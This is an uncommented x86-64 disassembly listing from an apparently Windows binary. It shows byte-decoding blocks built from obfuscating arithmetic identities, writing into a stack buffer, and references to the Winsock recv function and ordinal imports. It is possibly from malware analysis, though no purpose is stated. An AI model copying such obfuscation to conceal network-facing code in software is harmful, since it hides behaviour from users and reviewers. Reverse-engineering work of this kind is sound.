movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x28
jmp 0x1400c7898
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c764c
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
movzx eax, byte [rbp + r11 + 0x158]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c7103
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c7673
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x40
jmp 0x1400c7898
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c769a
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
jmp 0x1400c7861
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c76c5
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x10
movzx edx, r11b
jmp 0x1400c7808
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c737a
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400c77b1
mov byte [rbp + r11 + 0x158], bl
inc r11
jmp 0x1400c7103
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea ebx, [rcx + rcx]
add bl, dl
movzx edx, r11b
jmp 0x1400c7808
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
mov r8, rdi
mov r9, rsi
jmp 0x1400c7898
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
mov r8, rdi
movzx eax, byte [rbp + r11 + 0x158]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c7103
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x68
mov r8, rdi
jmp 0x1400c7898
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov r8, rdi
dec r11
inc r11
jmp 0x1400c7103
lea edx, [r11 - 8]
mov ecx, Ordinal_30
mov r8, rdi
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx ecx, r11b
add cl, 0x78
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, cl
mov byte [rbp + r11 + 0x158], r10b
inc r9
dec r11
inc r11
jmp 0x1400c7103
movzx edx, r11b
lea ecx, [rdx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x18
add dl, 8
movzx eax, r10b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, dl
add r10b, bl
mov byte [rbp + r11 + 0x158], r10b
add r8, r9
jmp 0x1400c7861
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x28
add r8, r9
jmp 0x1400c7861
lea rax, [r11 + r12]
and r14b, al
add r14b, r14b
sub r10b, r14b
lea ebx, [rax + r10]
sub bl, 0x38
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400c7103
movabs rcx, 0x8e6d1cedbc1edc78
add rcx, r11
and r14b, cl
add r14b, r14b
movzx ebx, r10b
sub bl, r14b
sub bl, 0x48
add bl, cl
movzx edx, r11b
sub dl, 0x68
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x28
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x158], al
inc r9
add rax, r9
sub r11, rax
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x158], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x158]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c7103
lea rax, [r11 + r13]
and r14b, al
add r14b, r14b
sub r10b, r14b
lea ebx, [rax + r10]
sub bl, 0x68
movzx eax, byte [rbp + r11 + 0x158]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c7103
add r11b, 0x58
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x68
jmp 0x1400c70f1
mov eax, dword [rbp + 0x17f73b8]
jmp 0x1400c7970
mov eax, dword [rbp + 0xd62580]
jmp 0x1400c7970
mov eax, dword [rbp + 0x158]
cdqe
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x70]
call fcn.14005ab70
mov rcx, rax
call fcn.14005abe0
nop
lea rcx, [rbp + 0x980]
call fcn.140003810
nop
lea rcx, [rbp + 0x938]
call fcn.140002820
nop
lea rcx, [rbp + 0x958]
call fcn.140002820
jmp 0x1400c55bc
call fcn.140069db0
int3